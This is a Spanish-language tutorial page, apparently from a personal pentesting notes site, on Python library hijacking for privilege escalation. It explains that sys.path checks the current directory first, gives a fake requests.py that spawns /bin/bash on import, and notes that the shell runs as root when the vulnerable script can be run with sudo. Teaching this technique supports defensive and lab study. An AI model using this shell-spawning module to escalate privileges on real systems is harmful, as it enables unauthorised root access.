> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/escalada-de-privilegios/library-hijacking.md).

# Library Hijacking

## Introducción

Entendiendo el **Path Hijacking**, el **Library Hijacking** es conceptualmente lo mismo: **engañar al sistema para que cargue un archivo malicioso en lugar de uno legítimo**, pero esta vez centrándonos en **librerías dinámicas**. En este caso, vamos a ver un ejemplo práctico de cómo se puede aplicar esta técnica con **Python**, abusando de la forma en la que resuelve sus imports.

***

## Contexto

Supón que tenemos el siguiente script en Python, el cual hace una petición web utilizando la librería `requests`:

```python
# check_blog.py
import requests

r = requests.get("https://4lec4st.gitbook.io/")
print("Status:", r.status_code)
```

El script es aparentemente inofensivo: consulta el estado del blog y muestra el código de respuesta HTTP. Sin embargo, **el problema está en cómo se importa la librería `requests`**.

***

## ¿Qué pasa por detrás?

Cuando Python busca una librería a importar, lo hace siguiendo el orden definido en `sys.path`:

```python
import sys
print(sys.path)
```

Salida típica:

```python
['', '/usr/lib/python3.11', '/usr/lib/python3.11/lib-dynload', ...]
```

💡 El **primer elemento** (`''`) indica que Python buscará **en el directorio actual** antes de ir a rutas del sistema.

***

## Explotación – Hijack de `requests`

Podemos aprovechar esto creando una versión falsa de `requests` en el mismo directorio que el script:

#### 1. Crear `requests.py` malicioso

```python
# requests.py
import os

os.system("/bin/bash")  # o cualquier payload
```

> Este archivo **no contiene la librería original**, simplemente lanza una shell al ser importado.

#### 2. Ejecutar el script

```bash
python3 check_blog.py
```

Resultado:

```bash
# se abre una shell interactiva
```

Python carga **nuestro archivo malicioso** en lugar de la librería legítima, porque el directorio actual se revisa primero.

***

## ¿Y el SUID?

Este ataque **no funcionará** si aplicas el bit **SUID directamente a Python**, porque los binarios interpretados no heredan correctamente ese permiso por seguridad:

```bash
chmod u+s /usr/bin/python3  # ❌ No tiene efecto esperado
```

Referencia: [StackOverflow – SUID en scripts](https://stackoverflow.com/questions/25001206/suid-doesnt-work-in-bash)

#### ✅ ¿Cuándo sí es útil?

Este ataque **funciona perfectamente** si tienes permisos `sudo` sobre el script vulnerable:

```bash
sudo python3 check_blog.py
```

De esta forma, la shell lanzada se ejecutará con privilegios de **root**.

***

## Más Información

* [DeepHacking – Library Hijacking](https://deephacking.tech/path-hijacking-y-library-hijacking/)
